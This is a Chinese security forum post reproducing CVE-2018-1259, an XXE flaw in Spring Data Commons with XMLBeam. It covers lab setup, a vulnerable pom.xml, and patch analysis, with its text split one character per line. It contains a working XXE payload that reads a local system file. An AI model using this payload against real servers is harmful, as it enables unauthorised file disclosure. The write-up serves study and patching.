论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[2050] 2021-01-23_漏洞复现CVE-2018-1259SpringXXE
文档创建者：
s7ckTeam
浏览次数：
6
最后更新：
2025-01-16
漏洞
6 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2021-01-23_漏洞复现CVE-2018-1259SpringXXE
漏
洞
复
现
C
V
E
-
2
0
1
8
-
1
2
5
9
S
p
r
i
n
g
X
X
E
原
创
d
o
n
9
d
o
n
9
s
e
c
2
0
2
1
-
0
1
-
2
3
收
录
于
话
题
#
漏
洞
复
现
,
1
9
个
0
1
—
漏
洞
简
介
X
M
L
B
e
a
n
s
提
供
了
底
层
X
M
L
数
据
的
对
象
视
图
，
同
时
还
能
访
问
原
始
的
X
M
L
信
息
集
合
。
S
p
r
i
n
g
D
a
t
a
C
o
m
m
o
n
s
1
.
1
3
至
1
.
1
3
.
1
1
以
及
2
.
0
至
2
.
0
.
6
的
版
本
在
与
X
M
L
B
e
a
m
1
.
4
.
1
4
或
更
早
的
版
本
进
行
结
合
使
用
时
，
X
M
L
B
e
a
m
不
会
限
制
X
M
L
外
部
实
体
应
用
，
导
致
未
经
身
份
验
证
的
远
程
恶
意
用
户
可
以
针
对
S
p
r
i
n
g
D
a
t
a
的
请
求
绑
定
特
定
的
参
数
，
访
问
系
统
上
的
任
意
文
件
。
0
2
—
环
境
搭
建
下
载
官
方
的
示
例
包
用
i
d
e
a
打
开
，
配
置
p
o
m
.
x
m
l
文
件
，
修
改
s
p
r
i
n
g
-
d
a
t
a
-
c
o
m
m
o
n
s
的
版
本
下
载
好
相
关
依
赖
插
件
和
包
之
后
，
生
成
p
a
c
k
a
g
e
启
动
环
境
：
g
i
t
c
l
o
n
e
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
p
r
i
n
g
-
p
r
o
j
e
c
t
s
/
s
p
r
i
n
g
-
d
a
t
a
-
e
x
a
m
p
l
e
s
.
g
i
t
<
d
e
p
e
n
d
e
n
c
y
>
<
g
r
o
u
p
I
d
>
o
r
g
.
s
p
r
i
n
g
f
r
a
m
e
w
o
r
k
.
d
a
t
a
<
/
g
r
o
u
p
I
d
>
<
a
r
t
i
f
a
c
t
I
d
>
s
p
r
i
n
g
-
d
a
t
a
-
c
o
m
m
o
n
s
<
/
a
r
t
i
f
a
c
t
I
d
>
<
v
e
r
s
i
o
n
>
2
.
0
.
5
.
R
E
L
E
A
S
E
<
/
v
e
r
s
i
o
n
>
<
/
d
e
p
e
n
d
e
n
c
y
>
c
d
/
s
p
r
i
n
g
/
s
p
r
i
n
g
-
d
a
t
a
-
e
x
a
m
p
l
e
s
/
w
e
b
/
p
r
o
j
e
c
t
i
o
n
m
v
n
c
l
e
a
n
p
a
c
k
a
g
e
c
d
/
s
p
r
i
n
g
/
s
p
r
i
n
g
-
d
a
t
a
-
e
x
a
m
p
l
e
s
/
w
e
b
/
p
r
o
j
e
c
t
i
o
n
/
t
a
r
g
e
t
j
a
v
a
-
j
a
r
s
p
r
i
n
g
-
d
a
t
a
-
w
e
b
-
p
r
o
j
e
c
t
i
o
n
-
2
.
0
.
0
.
B
U
I
L
D
-
S
N
A
P
S
H
O
T
.
j
a
r
访
问
：
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
:
8
0
8
0
/
，
环
境
搭
建
成
功
，
如
图
。
0
3
—
漏
洞
复
现
任
意
文
件
读
取
使
用
p
o
s
t
发
送
x
m
l
格
式
的
p
a
y
l
o
a
d
如
下
：
成
功
读
取
到
了
文
件
内
容
，
如
图
。
0
4
—
<
?
x
m
l
v
e
r
s
i
o
n
=
"
1
.
0
"
e
n
c
o
d
i
n
g
=
"
U
T
F
-
8
"
?
>
<
!
D
O
C
T
Y
P
E
f
o
o
[
<
!
E
L
E
M
E
N
T
f
o
o
A
N
Y
>
<
!
E
N
T
I
T
Y
r
a
b
b
i
t
S
Y
S
T
E
M
"
f
i
l
e
:
/
/
/
c
:
/
w
i
n
d
o
w
s
/
w
i
n
.
i
n
i
"
>
]
>
<
u
s
e
r
>
<
f
i
r
s
t
n
a
m
e
>
&
r
a
b
b
i
t
;
<
/
f
i
r
s
t
n
a
m
e
>
<
l
a
s
t
n
a
m
e
>
d
o
n
9
s
e
c
<
/
l
a
s
t
n
a
m
e
>
<
/
u
s
e
r
>
漏
洞
分
析
一
般
在
网
上
还
未
公
开
p
o
c
时
，
漏
洞
补
丁
对
安
全
攻
城
狮
做
应
急
/
复
现
来
说
无
疑
是
最
好
的
参
考
。
可
以
发
现
，
x
m
l
b
e
a
m
的
补
丁
中
对
进
行
了
如
下
修
改
：
配
置
了
默
认
的
f
e
a
t
u
r
e
禁
止
实
体
引
用
、
禁
止
合
并
多
个
X
M
L
文
档
。
s
p
r
i
n
g
-
d
a
t
a
-
c
o
m
m
o
n
s
的
补
丁
在
传
入
X
M
L
B
e
a
m
的
X
B
P
r
o
j
e
c
t
o
r
时
候
也
做
了
如
下
修
改
：
#
详
见
：
#
x
m
l
b
e
a
m
的
补
丁
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
S
v
e
n
E
w
a
l
d
/
x
m
l
b
e
a
m
/
c
o
m
m
i
t
/
f
8
e
9
4
3
f
4
4
9
6
1
c
1
4
c
f
1
3
1
6
d
e
b
5
6
2
8
0
f
7
8
7
8
7
0
2
e
e
1
#
s
p
r
i
n
g
-
d
a
t
a
-
c
o
m
m
o
n
s
的
补
丁
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
p
r
i
n
g
-
p
r
o
j
e
c
t
s
/
s
p
r
i
n
g
-
d
a
t
a
-
c
o
m
m
o
n
s
/
c
o
m
m
i
t
/
b
8
9
7
4
a
2
9
2
a
b
4
6
3
a
3
0
4
e
d
a
9
8
7
6
3
2
b
e
4
d
9
c
1
4
5
f
5
f
8
D
e
f
a
u
l
t
X
M
L
F
a
c
t
o
r
i
e
s
C
o
n
f
i
g
.
j
a
v
a
给
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
设
置
了
参
数
，
阻
止
外
部
实
体
的
引
入
，
禁
用
i
n
l
i
n
e
D
O
C
T
Y
P
E
声
明
，
防
止
了
X
M
L
实
体
注
入
。
所
以
，
经
过
对
补
丁
的
分
析
，
可
以
了
解
到
该
X
X
E
漏
洞
的
本
质
就
是
因
为
配
置
不
当
(
没
有
限
制
外
部
实
体
)
而
导
致
的
，
而
S
p
r
i
n
g
D
a
t
a
C
o
m
m
o
n
s
的
某
些
版
本
中
恰
好
使
用
了
含
有
漏
洞
的
X
M
L
B
e
a
m
组
件
，
于
是
受
到
了
影
响
。
0
5
—
附
录
p
o
m
.
x
m
l
：
替
换
掉
官
方
示
例
包
的
p
o
m
.
x
m
l
即
可
s
r
c
/
m
a
i
n
/
j
a
v
a
/
o
r
g
/
x
m
l
b
e
a
m
/
c
o
n
f
i
g
/
D
e
f
a
u
l
t
X
M
L
F
a
c
t
o
r
i
e
s
C
o
n
f
i
g
.
j
a
v
a
<
p
r
o
j
e
c
t
x
m
l
n
s
=
"
h
t
t
p
:
/
/
m
a
v
e
n
.
a
p
a
c
h
e
.
o
r
g
/
P
O
M
/
4
.
0
.
0
"
x
m
l
n
s
:
x
s
i
=
"
h
t
t
p
:
/
/
w
w
w
.
w
3
.
o
r
g
/
2
0
0
1
/
X
M
L
S
c
h
e
m
a
-
i
n
s
t
a
n
c
e
"
x
s
i
:
s
c
h
e
m
a
L
o
c
a
t
i
o
n
=
"
h
t
t
p
:
/
/
m
a
v
e
n
.
a
p
a
c
h
e
.
o
r
g
/
P
O
M
/
4
.
0
.
0
h
t
t
p
s
:
/
/
m
a
v
e
n
.
a
p
a
c
h
e
.
o
r
g
/
x
s
d
/
m
a
v
e
n
-
4
.
0
.
0
.
x
s
d
"
>
<
m
o
d
e
l
V
e
r
s
i
o
n
>
4
.
0
.
0
<
/
m
o
d
e
l
V
e
r
s
i
o
n
>
<
a
r
t
i
f
a
c
t
I
d
>
s
p
r
i
n
g
-
d
a
t
a
-
w
e
b
-
p
r
o
j
e
c
t
i
o
n
<
/
a
r
t
i
f
a
c
t
I
d
>
<
n
a
m
e
>
S
p
r
i
n
g
D
a
t
a
-
J
S
O
N
a
n
d
X
M
L
p
r
o
j
e
c
t
i
o
n
w
e
b
e
x
a
m
p
l
e
<
/
n
a
m
e
>
<
d
e
p
e
n
d
e
n
c
i
e
s
>
<
d
e
p
e
n
d
e
n
c
y
>
<
g
r
o
u
p
I
d
>
o
r
g
.
s
p
r
i
n
g
f
r
a
m
e
w
o
r
k
.
b
o
o
t
<
/
g
r
o
u
p
I
d
>
<
a
r
t
i
f
a
c
t
I
d
>
s
p
r
i
n
g
-
b
o
o
t
-
s
t
a
r
t
e
r
-
w
e
b
<
/
a
r
t
i
f
a
c
t
I
d
>
<
/
d
e
p
e
n
d
e
n
c
y
>
<
d
e
p
e
n
d
e
n
c
y
>
<
g
r
o
u
p
I
d
>
o
r
g
.
s
p
r
i
n
g
f
r
a
m
e
w
o
r
k
.
d
a
t
a
<
/
g
r
o
u
p
I
d
>
参
考
：
<
a
r
t
i
f
a
c
t
I
d
>
s
p
r
i
n
g
-
d
a
t
a
-
c
o
m
m
o
n
s
<
/
a
r
t
i
f
a
c
t
I
d
>
<
v
e
r
s
i
o
n
>
2
.
0
.
5
.
R
E
L
E
A
S
E
<
/
v
e
r
s
i
o
n
>
<
/
d
e
p
e
n
d
e
n
c
y
>
<
d
e
p
e
n
d
e
n
c
y
>
<
g
r
o
u
p
I
d
>
c
o
m
.
j
a
y
w
a
y
.
j
s
o
n
p
a
t
h
<
/
g
r
o
u
p
I
d
>
<
a
r
t
i
f
a
c
t
I
d
>
j
s
o
n
-
p
a
t
h
<
/
a
r
t
i
f
a
c
t
I
d
>
<
/
d
e
p
e
n
d
e
n
c
y
>
<
d
e
p
e
n
d
e
n
c
y
>
<
g
r
o
u
p
I
d
>
o
r
g
.
x
m
l
b
e
a
m
<
/
g
r
o
u
p
I
d
>
<
a
r
t
i
f
a
c
t
I
d
>
x
m
l
p
r
o
j
e
c
t
o
r
<
/
a
r
t
i
f
a
c
t
I
d
>
<
v
e
r
s
i
o
n
>
1
.
4
.
1
3
<
/
v
e
r
s
i
o
n
>
<
/
d
e
p
e
n
d
e
n
c
y
>
<
/
d
e
p
e
n
d
e
n
c
i
e
s
>
<
b
u
i
l
d
>
<
p
l
u
g
i
n
s
>
<
p
l
u
g
i
n
>
<
g
r
o
u
p
I
d
>
o
r
g
.
s
p
r
i
n
g
f
r
a
m
e
w
o
r
k
.
b
o
o
t
<
/
g
r
o
u
p
I
d
>
<
a
r
t
i
f
a
c
t
I
d
>
s
p
r
i
n
g
-
b
o
o
t
-
m
a
v
e
n
-
p
l
u
g
i
n
<
/
a
r
t
i
f
a
c
t
I
d
>
<
/
p
l
u
g
i
n
>
<
/
p
l
u
g
i
n
s
>
<
/
b
u
i
l
d
>
<
/
p
r
o
j
e
c
t
>
h
t
t
p
s
:
/
/
b
l
o
g
.
s
p
o
o
c
k
.
c
o
m
/
2
0
1
8
/
0
5
/
1
6
/
c
v
e
-
2
0
1
8
-
1
2
5
9
/
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
漏洞